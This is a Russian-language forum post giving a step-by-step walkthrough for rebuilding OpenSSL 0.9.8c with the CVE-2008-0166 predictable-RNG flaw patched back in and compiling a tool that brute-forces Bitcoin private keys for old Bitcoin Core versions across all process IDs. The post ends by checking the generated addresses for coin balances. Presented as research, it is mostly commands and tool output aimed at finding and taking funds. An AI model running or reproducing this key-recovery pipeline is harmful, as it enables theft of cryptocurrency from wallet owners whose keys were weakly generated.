Перейти к содержанию

Поиск монет BTC на более ранних версиях Bitcoin Core критической уязвимость OpenSSL 0.9.8 CVE-2008-0166


CryptoDeepTech

1 744 просмотра

В этой статье мы создадим инструмент который будет генерировать Биткоин Адреса (P2PKH), используя уязвимость CVE-2008-0166. Это исследовательский проект для поиска монет BTC на более ранних версиях программного клиента Bitcoin Core

 

 

Генератор случайных чисел, который генерирует предсказуемые числа CVE-2008-0166

VAIM- OpenSSL 0.9.8/1.0.0 Detected

Критической уязвимость версии OpenSSL 0.9.8 CVE-2008-0166 заполнялась только идентификатором процесса. Из-за различий между порядком байтов и sizeof(long) выходные данные зависят от архитектуры: 32-битный прямой порядок байтов (например, i386), 64-битный прямой порядок байтов (например, amd64, ia64), 32-битный прямой порядок байтов (например, powerpc, sparc). PID 0 — это ядро, а PID_MAX (32768) не достигается при переносе, поэтому для каждой архитектуры было 32767 возможных потоков случайных чисел.

6361d36aae42327f846fe907ae18b8e5.png  

Программный клиент Bitcoin Core использует библиотеку OpenSSL. В частности, он использует функцию «EC_KEY_generate_key()» для генерации Биткоин Адресов (например, ключа) для получения платежей. Старые версии Bitcoin Core генерируют и хранят 100 ключей в wallet.dat

Новый ключ генерируется только при получении Биткоин платежа. Таким образом, программный клиент Bitcoin Core сохраняет пул из 100 неиспользуемых Биткоин Ключей (адресов). Состояние внутреннего генератора случайных чисел зависит от того, какие другие вызовы были сделаны в библиотеке OpenSSL до вызова'EC_KEY_generate_key()'. Вызовы, влияющие на внутреннее состояние ГСЧ: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».

Таким образом, исследование заключалось в том, чтобы просмотреть множество старых источников Биткоина, чтобы выяснить, какие вызовы были сделаны, которые повлияли на внутреннее состояние ГСЧ перед вызовом «EC_KEY_generate_key()». Путь вызова меняется между версиями программного клиента Bitcoin Core

Исследование было сосредоточено на следующих версиях:

| Дата выхода | Версия | | Дата выхода | Версия |

Наше цель сгенерировать приватные ключи для каждой версии программного клиента Bitcoin Core, для каждой архитектуры (le32/le64), для каждого идентификатора процесса и для Биткоин Адресов (P2PKH), используя случайное число из критической уязвимости OpenSSL 0.9.8.

В конечном итоге мы создадим Генератор Биткоин Адресов (P2PKH) и все будет сохранятся в файл result.txt

Все сохранится в хранилище файлов Google Drive Все сохранится в хранилище файлов Google Drive

Сделаем OpenSSL снова уязвимым

Воспользуемся для этого дистрибутивом "Ubuntu 18.04.5 LTS" от Google Colab

863ca2632e97c6137636ef19d9871c34.png  

Ранее мы записывали видеоинструкцию: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»

Откроем в терминале Google Colab [TerminalGoogleColab]

Запустим команду:

cat /etc/lsb-release

"Ubuntu 18.04.5 LTS" "Ubuntu 18.04.5 LTS"

Давайте перейдем в репозиторию «CryptoDeepTools» и разберем всё в детали

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/05VulnerableOpenSSL/

ls -lh

33e42d134f9f1fe2bec6a4369ded1b07.png  

Обновим и установим g++ libgmp3-dev libmpfr-dev

apt-get update

sudo apt-get install g++ -y

установим g++ установим g++

sudo apt-get install libgmp3-dev libmpfr-dev -y

abbee73cd3fc0f32bb825d131f6c1990.png   установим пакеты libgmp3-dev libmpfr-dev установим пакеты libgmp3-dev libmpfr-dev

Для того чтобы OpenSSL снова сделать уязвимым как в CVE-2008-0166
Скачаем openssl-0.9.8c.tar.gz и пропатчим системные файлы

wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz

efc1281b40a87e9301437cd44d3a06bf.png   c677a7a43cdaf592fa288c1d0717cf0c.png  

tar xfz openssl-0.9.8c.tar.gz

3b70140f25ff755ed55aca49c7b8b65c.png  

mv openssl-0.9.8c openssl-0.9.8c-vuln

cd openssl-0.9.8c-vuln

3d18e98de9a34f05cf61c8766c1f817c.png  

ls -lh

7eb8d384683944cdde59fbcadc9d624e.png  

patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff

a25d2f9574d2ed2533fcf6495e780466.png  

В системе LE-64 используем:

./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm

151bd04f2078f6668fa9001ec0281243.png  

make depend all

dadad05a20fb35f2022d3cd063a53db4.png  

Перейдем обратно в каталог content/

cd /

ls

07dac71fc87331f2d7764dcaab3880b1.png  

cd content/CryptoDeepTools/05VulnerableOpenSSL/

ls -lh

a80061cffc581eb46cb2f1b9a11dd259.png  

Компиляция:

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto

ls -lh

cryptodeepbtcgen успешно создан! cryptodeepbtcgen успешно создан!

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h

b601a69413aacc3e9efa10ef0fb084fb.png  

Все поддерживаемые версии программного клиента Bitcoin Core:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l

77ab0df5baf110bd11c89ccebba0791d.png  

crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0   - 0.3.24
#1   - 0.8.6-d
#2   - 0.8.6-qt
#3   - 0.9.1-d
#4   - 0.9.4-d
#5   - unknownA
#6   - unknownB
#7   - unknownC
#8   - unknownD
#9   - unknownE
#10  - unknownF
#11  - unknownG
#12  - unknownH
#13  - unknownI
#14  - unknownJ
#15  - unknownK
#16  - unknownA0
#17  - unknownA1
#18  - unknownA2
#19  - unknownA3
#20  - unknownA4
#21  - unknownB0
#22  - unknownB1
#23  - unknownB2
#24  - unknownB3
#25  - unknownC0
#26  - unknownC1
#27  - unknownC2
#28  - unknownD0
#29  - unknownD1
#30  - unknownD2
#31  - unknownD3
#32  - unknownD4
#33  - unknownD5
#34  - unknownE0
#35  - unknownA0x
#36  - unknownA1x
#37  - unknownA2x
#38  - unknownA3x
#39  - unknownA4x
#40  - unknownB0x
#41  - unknownB1x
#42  - unknownB2x
#43  - unknownB3x
#44  - unknownC0x
#45  - unknownC1x
#46  - unknownC2x
#47  - unknownD0x
#48  - unknownD1x
#49  - unknownD2x
#50  - unknownD3x
#51  - unknownD4x
#52  - unknownD5x
#53  - unknownE0x
crypto >

Запуск cryptodeepbtcgen -n 32 -v 0:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Запуск cryptodeepbtcgen Запуск cryptodeepbtcgen

Все сохранится в хранилище файлов Google Drive как текстовый файл result.txt

abb8f18ea7575d6b967bbe083d984943.png  

Проверяем закрытый ключ!

Проверяем закрытый ключ на сайте bitaddress Проверяем закрытый ключ на сайте bitaddress

Далее остается проверить все сгенерированные Биткоин Адреса на наличие монет BTC, для этого мы можем воспользоваться Python-скриптом: bitcoin-checker.py

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/zHkXups2I8k

Источник: https://cryptodeep.ru/vulnerable-openssl

Изменено пользователем CryptoDeepTech

0 Комментариев


Рекомендуемые комментарии

Комментариев нет

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
  • Последние посетители   0 пользователей онлайн

    • Ни одного зарегистрированного пользователя не просматривает данную страницу
×
×
  • Создать...